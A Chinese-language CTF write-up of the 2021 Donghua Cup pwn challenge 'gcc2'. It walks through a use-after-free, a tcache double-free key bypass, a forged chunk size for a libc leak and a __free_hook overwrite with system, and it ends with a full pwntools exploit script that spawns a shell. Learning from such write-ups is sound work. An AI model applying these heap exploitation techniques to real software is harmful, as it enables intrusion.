write up -- 2021东华杯pwn gcc2
简介
刚刚结束的东华杯的pwn题
可以看到64位小端,保护全开,题目附件还给了libc,版本为2.31,因为远程环境已经关了,那我就直接打本地了,我的本地是libc-2.27,两个版本之间差距不是特别大。
分析
该程序的main函数
看起来很眼熟,那是因为该程序和上题cpp1差不多,就是有一些细节不一样。
add()函数
上一题cpp1规定了申请的堆块大小不可以超过0xff,而这题呢,又再次压缩了我们可以申请的chunk的大小,不能大于0x67,其他的地方该题和上一题差不多。
change()函数
和上题的change函数差的也不多,就是对用户输入堆块的数据大小进行了限制,就不能向上题那样使用堆溢出漏洞改变其他chunk的size的大小了。
get()函数和上题的一样,这里就不做过多解释了。
delete()函数
可以看到delete函数和上一题的差别,上一题是释放空间后指针置0,而这题的delete则没有销毁指针,那这就给我们提供了漏洞可以利用。
攻击思路
和上题差不多,不过这次没有堆溢出可以用了,但是我们却可以用UAF和double,需要注意的是这里要使用double free需要绕过,将TCache的key改成0即可,我们申请不了较大的堆块,也不能直接修改chunk的size,那我们可以找方法修改啊,我们先泄漏heap的地址,然后计算出chunk0的地址,利用double free,将chunk0这块地址申请到,然后将chunk0的size改为一个大于0x400大小的值,这样我们释放chunk0的时候,chunk0就会被放入unsorted bin里,但是值的注意的是我们在修改chunk0的size的时候,一定要和你实际申请的所有的chunk堆块大小吻合要不然会出现错误,经过这些操作我们就能泄漏main_arena+xx的地址,就可以计算出libc的基址,就可以进行接下来的攻击了。
我将一点点的调试来使这个攻击的过程更容易理解。
for i in range(11):
add(i, 0x60)
add(11, 0x18)
delete(11)
change(11, p64(0)+p64(0))#为了绕过检测利用double free漏洞
delete(11)
get(11)
chunk11_addr = u64(io.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, "\x00"))
change(11, p64(chunk11_addr-0x4e0)+p64(0))#泄漏堆的地址然后将chunk0的地址写入chunk11的fd处使得经过两次申请可以获得到这片地址
add(12, 0x18)
add(13, 0x18)
因为new的时候初始化了空间,使得chunk0的chunk头都被初始化掉了,所以size也变成了0。
change(13, p64(0)+p64(0x4d1))
delete(0)
get(0)
malloc_hook = u64(io.recvuntil("Welcome", drop=True)
[-7:- 1].ljust(8, "\x00"))-96-0x10
libc_base = malloc_hook-libc.symbols["__malloc_hook"]
free_hook = libc_base+libc.symbols["__free_hook"]
system_addr = libc_base+libc.symbols["system"]
将chunk0的size改成0x4d1,然后释放chunk0,这样chunk0会被放进unsorted bin中,就可以泄漏main_arena+xx的地址了,从而就获得了malloc_hook和free_hook以及system函数的地址。
接下来释放chunk1,将free_hook写到fd处,经过两次申请得到,将system写入,这样调用delete函数就相当于是执行system,再将相应的参数"/bin/sh"写入,调用delete函数就拿到shell了。
这里就不调了。
exp
from pwn import*
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'
def add(index, size):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(">>")
io.sendline(str(index))
io.recvuntil(">>")
io.sendline(str(size))
def change(index, content):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(">>")
io.sendline(str(index))
io.recvuntil(">>")
io.sendline(content)
def get(index):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(">>")
io.sendline(str(index))
def delete(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(">>")
io.sendline(str(index))
for i in range(11):
add(i, 0x60)
add(11, 0x18)
delete(11)
change(11, p64(0)+p64(0))
delete(11)
get(11)
chunk11_addr = u64(io.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, "\x00"))
change(11, p64(chunk11_addr-0x4e0)+p64(0))
add(12, 0x18)
add(13, 0x18)
change(13, p64(0)+p64(0x4d1))
delete(0)
get(0)
malloc_hook = u64(io.recvuntil("Welcome", drop=True)
[-7:- 1].ljust(8, "\x00"))-96-0x10
libc_base = malloc_hook-libc.symbols["__malloc_hook"]
free_hook = libc_base+libc.symbols["__free_hook"]
system_addr = libc_base+libc.symbols["system"]
gdb.attach(io)
delete(1)
change(1, p64(free_hook)+p64(0))
add(14, 0x60)
add(15, 0x60)
change(15, p64(system_addr))
change(14, "/bin/sh\x00")
delete(14)
io.interactive()